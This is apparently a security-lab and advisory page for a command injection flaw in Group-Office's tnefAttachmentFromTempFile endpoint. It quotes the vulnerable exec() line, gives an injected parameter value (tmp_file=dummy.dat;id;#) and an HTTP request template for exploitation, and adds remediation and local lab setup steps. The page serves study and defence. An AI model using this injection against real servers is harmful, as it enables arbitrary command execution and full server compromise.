VT-2026-25512

Group-Office - Remote Code Execution (OS Command Injection)

CRITICAL 9.4CVEgroupofficephpcve-2026command-injection

Run this lab

$vt start --id vt-2026-25512

Lab not starting or behaving wrong? Report a problem with this lab

Summary

Group-Office is an enterprise customer relationship management and groupware tool. Prior to versions 6.8.150, 25.0.82, and 26.0.5, there is a remote code execution (RCE) vulnerability in Group-Office. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server. This issue has been patched in versions 6.8.150, 25.0.82, and 26.0.5.

Technical detail

The vulnerability exists in `www/modules/email/controller/MessageController.php` in the `actionTnefAttachmentFromTempFile()` function. User input from `tmp_file` parameter is passed directly to system shell commands without sanitization. The parameter is concatenated directly into an `exec()` call: ```php exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar); ``` By injecting shell metacharacters (e.g., `;`, `|`, `$()`) into the `tmp_file` parameter, an authenticated attacker can break out of the intended command and execute arbitrary system commands. **Example Payload:** `tmp_file=dummy.dat;id;#`

Impact

Attackers can execute arbitrary system commands, leading to complete server compromise.

Exploitation & proof of concept

POST/api/email/message/tnefAttachmentFromTempFileparam=tmp_fileauth required

REQUEST

POST /api/email/message/tnefAttachmentFromTempFile HTTP/1.1
Host: {{target}}
Content-Type: application/x-www-form-urlencoded
Cookie: groupoffice={{session}}
X-CSRFToken: {{csrf_token}}

tmp_file=dummy.dat;{{payload}};%23

RESPONSE

HTTP/1.1 200 OK

[Command output appears in response or written to file]

Nuclei detection: vt-2026-25512.nuclei.yaml

bambda: ["vt-2026-25512.bambda"]

Remediation

Avoid calling OS commands from application code
Use language-specific APIs instead of shell commands
Never concatenate user input into commands
Use escapeshellarg() for any user input passed to shell

Lab setup notes

Start lab: docker-compose up -d
Wait for initialization (~2 minutes on first run)
Access Group-Office installer: http://localhost:8080
username: admin - password: Squint2-Shredder7-Grove3-Thirteen3-Recluse9
nuclei -t vt-2026-25512.nuclei.yaml -u http://localhost:8000 -v -var username=admin -var password=Squint2-Shredder7-Grove3-Thirteen3-Recluse9
Complete installation wizard (DB host: db, user/pass/db: groupoffice)
Login and get session cookie for exploit testing
Vulnerable endpoint: POST /api/email/message/tnefAttachmentFromTempFile
Example payload: tmp_file=dummy.dat;id;#